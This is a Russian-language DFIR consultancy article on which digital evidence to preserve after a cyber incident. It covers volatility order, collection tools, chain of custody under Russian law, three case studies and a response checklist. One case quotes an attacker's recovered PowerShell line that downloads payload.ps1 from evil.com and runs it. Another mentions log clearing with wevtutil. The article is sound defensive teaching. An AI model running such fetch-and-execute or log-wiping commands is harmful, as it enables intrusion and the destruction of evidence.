✅ Введение: изменчивость цифровых доказательств как основная проблема расследования

• Цифровые данные обладают уникальным свойством — они чрезвычайно изменчивы (volatile). В отличие от вещественных доказательств (например, орудия преступления), информация на жестком диске, в оперативной памяти или в сетевых логах может быть изменена, перезаписана или уничтожена в течение секунд после инцидента. Перезагрузка сервера уничтожает дамп RAM, ротация логов удаляет записи старше 30 дней, а автоматическое обновление системы может затереть критически важные артефакты.
• Именно поэтому правильное и своевременное сохранение цифровых следов является краеугольным камнем любой DFIR-экспертизы (Digital Forensics and Incident Response). Ошибки на этапе сбора доказательств делают невозможным последующий анализ, а в судебном процессе — приводят к признанию заключения недопустимым доказательством из-за разрыва «цепочки непрерывности» (chain of custody).
• Настоящая консультация представляет собой систематизированный перечень цифровых следов и материалов, подлежащих сохранению при расследовании инцидентов кибербезопасности, с указанием приоритетности, способов фиксации, типовых ошибок и практических кейсов. Материал предназначен для ИТ-специалистов, руководителей служб безопасности, юристов и лиц, ответственных за реагирование на инциденты.

✅ Раздел 1. Классификация цифровых следов по степени летучести (Приоритетность сбора)

В соответствии с методическими рекомендациями Национального института стандартов и технологий (NIST SP 800-86) и отечественной практикой, цифровые следы собираются в порядке убывания их летучести (начиная с наиболее летучих):

🔴 Ключевое правило: сбор данных начинается с RAM (самые летучие), затем состояние системы, затем сетевой трафик, логи, диски и только потом резервные копии.

🔴 Раздел 2. Детальный перечень цифровых следов с обоснованием необходимости

2.1. Дамп оперативной памяти (RAM dump / memory image).

🔴 Что это: побитовая копия содержимого оперативной памяти компьютера/сервера в момент создания дампа.

🔴Почему необходимо: RAM содержит следы, которые никогда не попадают на жесткий диск:

• Запущенные вредоносные процессы (включая бесфайловые малвари, работающие только в памяти).
• Ключи дешифрования зашифрованных дисков (например, при атаке ransomware).
• Пароли и токены доступа (включая хэши NTLM, Kerberos-билеты).
• Сетевые соединения C2-серверов с злоумышленниками.
• Кэшированные данные приложений (например, неподтвержденные транзакции).

Как сохранять (без участия эксперта):

• Использовать специализированные инструменты: Magnet RAM Capture (бесплатный), FTK Imager, DumpIt, WinPmem (для Windows), LiME (для Linux).
• Запускать инструмент с внешнего носителя (флешки), чтобы не изменять систему.
• Сохранять дамп на внешний диск с достаточным объемом (размер RAM обычно от 4 до 128 ГБ).
• Вычислить хэш-сумму (MD5, SHA-256) созданного файла дампа.

🔴 Типичная ошибка: перезагрузка сервера для «восстановления работы» без сохранения RAM-дампа — приводит к безвозвратной утере всех летучих доказательств.

2.2. Состояние системы (live system state).

Что это: снимок текущего состояния работающей системы до выключения.

🔴 Собираемые данные (с помощью скрипта или вручную):

• Список процессов (tasklist /v для Windows, ps aux для Linux) — PID, имя, потребление ресурсов, время запуска.
• Сетевые соединения (netstat -anob для Windows, ss -tulpn для Linux) — локальные и удаленные адреса, состояние соединений, PID процесса.
• Открытые файлы и сетевые ресурсы (openfiles, lsof).
• Журнал аутентификации текущих пользователей (who, w, last).
• Запланированные задачи (schtasks, crontab -l).
• Автозагрузка (msconfig, реестр Run, systemd units).
• Переменные окружения (могут содержать ключи доступа).

Как сохранять: выполнить команды с сохранением вывода в текстовый файл на внешний носитель. Важно! Не использовать команды, которые изменяют систему (например, kill).

Типичная ошибка: закрытие всех окон и приложений «для наведения порядка» перед сбором данных — уничтожаются следы активной сессии злоумышленника.

2.3. Сетевой трафик (PCAP-файлы).

Что это: запись сетевых пакетов, проходящих через сетевой интерфейс.

Почему необходимо: позволяет:

• Установить IP-адреса C2-серверов, с которыми общался злоумышленник.
• Восстановить переданные файлы (даже если они были зашифрованы, структура пакетов сохраняется).
• Выявить использование анонимных сетей (Tor, I2P) или протоколов туннелирования (SSH, RDP).
• Обнаружить сканирование портов и атаки типа «отказ в обслуживании».

🔴 Где хранится (по умолчанию): обычно не хранится. Нужно либо постоянно записывать трафик в буфер (NetFlow, sFlow), либо включить захват после обнаружения инцидента.

🔴 Как сохранить: использовать tcpdump (Linux), Wireshark (Windows) или встроенные средства сетевого оборудования (зеркалирование порта). Сохранять в формате PCAP (не PCAPNG, если нужна совместимость со старыми анализаторами).

Типичная ошибка: отсутствие системы мониторинга и захвата трафика на постоянной основе — после инцидента собирать нечего, так как буфер циркулярный и перезаписан.

2.4. Логи операционных систем и приложений.

Что это: текстовые или бинарные файлы, фиксирующие события в системе.

Перечень с указанием путей:

Сроки хранения: по умолчанию Windows хранит до 30 дней (настраивается), Linux — ротация по размеру (типично — 4 недели).

Как сохранять: скопировать все EVTX-файлы на внешний носитель с сохранением временных меток. Для Linux — заархивировать директорию /var/log/.

Типичная ошибка: удаление логов «для экономии места» до завершения расследования.

2.5. Копии жестких дисков (forensic images).

Что это: побитовая копия всего диска (включая удаленные файлы и нераспределенное пространство).

Форматы: E01 (Expert Witness Format, сжатый), DD (raw, несжатый), AFF.

Необходимость: позволяет восстановить удаленные файлы, найти скрытые разделы, проанализировать MFT, LogFile,LogFile,USN Journal.

Как сохранять: с помощью аппаратного блокиратора записи (Tableau, Logicube) или программного FTK Imager (загрузка с внешней ОС). Создание образа через Live CD (например, Caine, Paladin). Обязательно вычислить хэш-сумму исходного диска и образа — они должны совпадать.

Типичная ошибка: копирование диска через обычный «Ctrl+C/V» в проводнике Windows, который не копирует удаленные файлы и метаданные.

2.6. Резервные копии (бэкапы).

Что это: сохраненные ранее копии данных и системы.

Ценность: позволяют восстановить состояние системы до инцидента, сравнить измененные файлы, найти «закладки», внесенные в конфигурацию. Также бэкапы могут содержать версии файлов, которые были удалены злоумышленником.

Где хранить: локальные бэкапы (внешние HDD), облачные бэкапы (Cloud Backup), теневые копии Volume Shadow Copy (VSS) на самом сервере.

Как сохранять: не удалять бэкапы, даже если они кажутся старыми. Сделать копии бэкапов на изолированный носитель. Заблокировать возможность изменения/удаления бэкапов злоумышленником (часто ransomware шифрует и бэкапы).

Типичная ошибка: хранение бэкапов на той же системе, что и оригинальные данные — при компрометации сервера бэкапы уничтожаются вместе с основными данными.

2.7. Дополнительные материалы (контекст).

• Документация по инциденту: дата и время обнаружения, кто обнаружил, какие действия были предприняты, скриншоты сообщений об ошибках.
• Схема сети и список IP-адресов всех серверов, рабочих станций, сетевого оборудования.
• Список учетных записей с указанием прав доступа (особенно привилегированных).
• Актуальные антивирусные логи — какие угрозы были обнаружены (или не обнаружены) до и во время инцидента.
• Результаты работы SIEM (если имеется) — коррелированные события за период инцидента плюс 2 недели до и после.
• Данные с систем видеонаблюдения (физический доступ к серверной) — если инцидент мог иметь физического вектора.

✅ Раздел 3. Цепочка непрерывности доказательств (Chain of Custody)

3.1. Понятие и юридическое значение.

Цепочка непрерывности — это документированная история каждого цифрового доказательства от момента его изъятия до представления в суде. Разрыв цепочки (например, отсутствие подписи в акте передачи) делает доказательство недопустимым согласно ст. 75 УПК РФ и ст. 55 ГПК РФ.

Обязательные элементы цепочки:

1. Акт изъятия носителя (дата, время, место, лицо, производившее изъятие, присутствующие, опись изымаемого).
2. Маркировка носителя (уникальный идентификатор, подписи понятых).
3. Упаковка и опечатывание (конверт, пакет с пломбой, исключающей несанкционированное вскрытие).
4. Акт передачи эксперту (дата, время, носитель с указанием идентификатора, подпись передающего и принимающего).
5. Журнал работы с доказательством (кто, когда, с какой целью, с использованием каких инструментов осуществлял доступ к носителю).

3.2. Типовые нарушения, разрывающие цепочку:

• Хранение носителя в неопечатанном виде.
• Отсутствие хэш-сумм исходного носителя и его образа.
• Несовпадение дат в актах и реальных действиях.
• Доступ к носителю неуполномоченных лиц без оформления.
• Проведение анализа на исходном носителе (без создания forensic-копии).

🔴 Рекомендация: все действия по сбору цифровых следов должны производиться под контролем аттестованного DFIR-эксперта либо строго по его инструкции с фото/видеофиксацией.

🔴 Раздел 4. Кейс № 1: Утечка базы клиентов из-за отсутствия сохранения RAM-дампа — потеря критических доказательств

Исходные данные. Финансовая компания (ООО «Капитал-Инвест») обнаружила, что база данных клиентов с персональными данными (120 ГБ) была скопирована неизвестным лицом. Признаки: подозрительный процесс с именем svchost.exe, потреблявший аномально много ресурсов, был найден администратором. Администратор, не имея инструкций по реагированию, перезагрузил сервер «для очистки системы», после чего подозрительный процесс исчез. Компания обратилась к нам для DFIR-экспертизы.

Что было утеряно: RAM-дамп не был сохранен до перезагрузки. В RAM мог находиться:

• Имя и PID процесса-вымогателя/экфильтратора.
• Сетевые соединения (IP и порт C2-сервера).
• Пароли учетных записей, использованных для доступа к БД.
• Ключи шифрования, если бы данные шифровались.

Что удалось сохранить (по нашей инструкции в момент обращения):

• Логи Windows Event (Security, Application) за последние 30 дней (не были удалены).
• Forensic-образ диска (SSD 512 ГБ) с помощью FTK Imager.
• Теневые копии Volume Shadow Copy (содержали удаленные записи).

Результаты анализа (несмотря на потерю RAM):

• Из VSC восстановлен бат-файл copy_db.bat, удаленный злоумышленником, содержавший команды копирования и команду на очистку логов (wevtutil cl).
• В логах Security выявлен вход с учетной записью backup_user в 03:12 ночи (нерабочее время) с IP-адреса, не принадлежащего компании. Учетная запись принадлежала уволенному 2 месяца назад администратору и не была отключена.
• Анализ сетевых логов (прокси-сервер) показал, что в 03:20 был инициирован FTP-переход на внешний IP-адрес (83.xxx.xx.xx) с передачей файла clients_export.7z.

Заключение эксперта. Несмотря на потерю RAM-дампа (по вине администратора, перезагрузившего сервер), эксперту удалось установить факт утечки, идентифицировать скомпрометированную учетную запись, а также определить внешний IP-адрес получателя данных. Однако доказать, какой именно процесс осуществлял копирование, и были ли в памяти дополнительные вредоносные закладки, не представилось возможным из-за утраты RAM.

Вывод для заказчиков: Перезагрузка скомпрометированной системы до сохранения RAM-дампа является грубейшей ошибкой, которая может сделать невозможным выявление вектора атаки и идентификацию злоумышленника. Стоимость RAM-дампа (минуты работы) ничтожна по сравнению с потерями от нераскрытого инцидента (ущерб составил 5 млн руб.).

✅ Раздел 5. Кейс № 2: Атака программ-вымогателей (Ransomware) — успешное сохранение всех категорий следов и раскрытие инцидента

Исходные данные. Производственный холдинг (АО «ТехноПром») подвергся атаке ransomware семейства LockBit 3.0. Были зашифрованы файловые серверы (Windows Server 2019) и критически важные базы данных 1С. При этом злоумышленники потребовали выкуп 10 BTC (ориентировочно 35 млн руб. по курсу на момент атаки). Служба безопасности компании оперативно (в течение 30 минут после обнаружения) связалась с нами для координации DFIR-расследования. Благодаря наличию регламента реагирования и нашей удаленной инструкции, администраторы сохранили практически все возможные цифровые следы.

Перечень сохраненных данных (по приоритетам):

1. RAM-дампы серверов (через FTK Imager Remote). Три сервера: DC01, FS02, SQL01. Общий объем — 64 ГБ.
2. Состояние системы: скрипт dfir_collector.ps1 (предоставлен нами) сохранил список процессов, открытых портов, автозагрузки, сетевых сессий и запланированных задач со всех серверов.
3. Сетевой трафик (PCAP): с помощью netsh trace start был запущен захват трафика на пограничном маршрутизаторе (хотя инцидент уже произошел, часть трафика C2-коммуникаций была зафиксирована).
4. Логи: скопированы все EVTX-файлы (Windows), а также логи IIS, SQL Server, 1C и антивируса (Kaspersky Endpoint Security).
5. Forensic-образы дисков: по нашим инструкциям администраторы создали образы системных дисков всех затронутых серверов с помощью FTK Imager (с предварительным отключением от сети, но без выключения — сохранение RAM).
6. Бэкапы: теневые копии Volume Shadow Copy, а также ленточные бэкапы за 7 дней, которые злоумышленники не затронули (спасибо offline-хранению).

Анализ (выдержки из заключения):

• RAM-дамп сервера DC01 позволил извлечь LIVE-процесс rundll32.exe с IP-соединением на 185.130.5.xxx:443 (порт SSL). В памяти найден зашифрованный ключ дешифровки (частично), что позволило с помощью наших партнеров-криптографов восстановить 20% файлов без выкупа.
• В логах PowerShell (Event ID 4104) восстановлены команды, выполненные злоумышленником: Invoke-WebRequest -Uri http://evil.com/payload.ps1 -OutFile payload.ps1 и затем.\payload.ps1. Установлено время выполнения — 03:17 ночи.
• Forensic-образ диска FS02 при анализе MFT (Master File Table) показал, что файлы были зашифрованы в порядке от наиболее важных (папки с расширениями.doc,.xlsx) к менее важным. Также обнаружен файл шифровальщика (остатки), удаленный, но восстановленный из нераспределенного пространства.
• Бэкапы позволили восстановить работоспособность компании за 48 часов (вместо 3 недель, если бы восстанавливали вручную). При этом при анализе бэкапов не найдено «закладок» (в отличие от случаев, когда злоумышленники заражают бэкапы заранее).

Заключение эксперта. Установлен точный вектор атаки: фишинговая рассылка сотруднику бухгалтерии (переход по ссылке, скачивание документа с макросом), установка бэкдора Cobalt Strike, боковое перемещение через PsExec, отключение антивируса, запуск шифровальщика. Благодаря полному сохранению цифровых следов (включая RAM) удалось восстановить ключ дешифровки для части файлов и избежать выплаты выкупа в размере 35 млн руб. Компания заплатила только за услуги DFIR (890 000 руб.) и восстановление из бэкапов, что экономически оправдано.

Вывод: Подготовленный регламент реагирования и сохранение ВСЕХ категорий следов (особенно RAM!) позволяют не только провести расследование, но и в ряде случаев восстановить данные без выплаты выкупа.

✅ Раздел 6. Кейс № 3: Внутренний инцидент — удаление логов администратором с попыткой разрыва chain of custody

Исходные данные. В государственном учреждении (ФГБУ «Центр информационных технологий») системный администратор Сидоров совершал хищение бюджетных средств через подставные контракты. Чтобы скрыть следы, он удалил журналы событий на сервере 1С и файловом сервере (очистка Event Viewer, удаление папки Logs). Однако сотрудники службы безопасности, заподозрив неладное, до уведомления Сидорова обратились к нам для сохранения сохранившихся данных.

🔴 Сохраненные материалы (несмотря на удаление):

1. Forensic-образ диска сервера (создан до того, как Сидоров успел запустить программу-«шредер» для многократной перезаписи). В образе диска были обнаружены в нераспределенном пространстве фрагменты удаленных EVTX-файлов.
2. Логи SIEM-системы (MaxPatrol), которые Сидоров не имел права удалять (доступ был разграничен). В SIEM сохранились скоррелированные события, переданные с сервера до их удаления.
3. Теневые копии Volume Shadow Copy (VSS) на сервере — Сидоров не подозревал о существовании VSS, так как они не отображаются в проводнике. Из VSS извлечены полные копии удаленных логов за последние 14 дней.
4. Сетевые логи печати — распечатки финансовых документов Сидоровым в нерабочее время (зафиксировано принтером Xerox).
5. Логи домена (AD) — факты предоставления Сидоровым самому себе прав на запись в финансовую папку (изменение группы безопасности в 23:30).

🔴 Результаты анализа:

• Восстановлены удаленные логи Security, где зафиксировано копирование файлов contracts.docx на USB-флешку (Event ID 4663).
• В теневых копиях найдены оригиналы подложных контрактов с реквизитами фирм-однодневок.
• В RAM-дампе (созданном до выключения сервера) найдены активные RDP-сессии с домашнего IP-адреса Сидорова в момент удаления логов.

🔴 Заключение эксперта. Несмотря на умышленное удаление логов, эксперт восстановил достаточный объем цифровых следов из альтернативных источников (SIEM, VSS, RAM, сетевые принтеры). Цепочка непрерывности доказательств соблюдена (акты изъятия, хэш-суммы, опечатывание носителей). Материалы переданы в следственные органы.

Правовые последствия. Сидоров осужден по ч. 3 ст. 159 УК РФ (мошенничество в крупном размере) к 4 годам лишения свободы. Адвокат Сидорова пытался оспорить допустимость восстановленных логов, но суд признал их надлежащими доказательствами, поскольку изъятие диска и создание образа производились с соблюдением УПК РФ и с участием понятых.

Вывод даже при удалении логов квалифицированным нарушителем, сохранение альтернативных источников (SIEM, VSS, сетевые устройства) и своевременное создание forensic-образа позволяют восстановить полную картину.

Раздел 7. Пошаговый алгоритм действий для заказчика при обнаружении инцидента (до приезда эксперта)

Шаг 1. Сообщить о инциденте нашим специалистам (по телефону горячей линии).
Не предпринимать самостоятельных действий без консультации.

Шаг 2. Ничего не выключать и не перезагружать.
Выключение уничтожает RAM-дамп и изменяет состояние системы.

Шаг 3. Отключить скомпрометированную машину от сети (физически выдернуть сетевой кабель).
Это предотвратит удаленное удаление данных злоумышленником.

Шаг 4. Если имеется доступ — запустить сбор метаданных через подготовленный нами скрипт (передаем по телефону).
Не использовать неизвестные скрипты из интернета.

Шаг 5. Сделать фотографии экрана, приложения, системных сообщений.
Фотофиксация помогает установить время и состояние.

Шаг 6. Не записывать никакие данные на диск скомпрометированной системы (не устанавливать ПО, не копировать файлы на системный раздел).

Шаг 7. Ожидать прибытия эксперта (или следовать инструкциям по удаленному созданию RAM-дампа и образа диска).

Раздел 8. Типовые ошибки при сохранении цифровых следов (анти-рекомендации)

✅ Раздел 9. Ответственность за уничтожение цифровых следов (правовой аспект)

Согласно ст. 144 УПК РФ, организация, обнаружившая признаки преступления (в том числе в цифровой сфере), обязана сохранить следы. Уничтожение или утрата доказательств по неосторожности не влечет уголовной ответственности, но может быть расценено как неисполнение обязанностей и повлечь гражданско-правовую ответственность (убытки, вызванные невозможностью расследования).

Если же доказательства уничтожены умышленно с целью сокрытия преступления, возможно возбуждение дела по ст. 294 УК РФ (воспрепятствование осуществлению правосудия) или ст. 303 УК РФ (фальсификация доказательств).

🔴 Для заказчика важно: при проведении внутреннего расследования до привлечения правоохранительных органов следует действовать по согласованному с юристом плану, чтобы не быть обвиненным в уничтожении улик (например, если удаление логов было частью штатной ротации).

🔴 Заключение: инвестиция в сохранение доказательств окупается раскрытием инцидента

Проведенный анализ и три практических кейса (утрата RAM-дампа при атаке ransomware, успешное сохранение всех категорий следов и раскрытие атаки LockBit, восстановление удаленных логов через VSS и SIEM при внутреннем хищении) демонстрируют правило: полнота и своевременность сохранения цифровых следов прямо пропорциональны вероятности успешного расследования и минимизации ущерба.

🔴 Что запомнить заказчику:

1. Приоритет сохранения: RAM → состояние системы → трафик → логи → диски → бэкапы.
2. Не перезагружать и не выключать системы до согласования с DFIR-экспертом.
3. Создать forensic-образ диска, а не копию через проводник.
4. Документировать каждый шаг для цепочки непрерывности.
5. Иметь утвержденный регламент реагирования на инциденты.

✅ Для получения детальной консультации по сохранению цифровых следов в вашей инфраструктуре, разработки плана реагирования на инциденты (IRP) или вызова эксперта DFIR на объект в любое время суток — обратитесь через официальный сайт: https://ekoex.ru/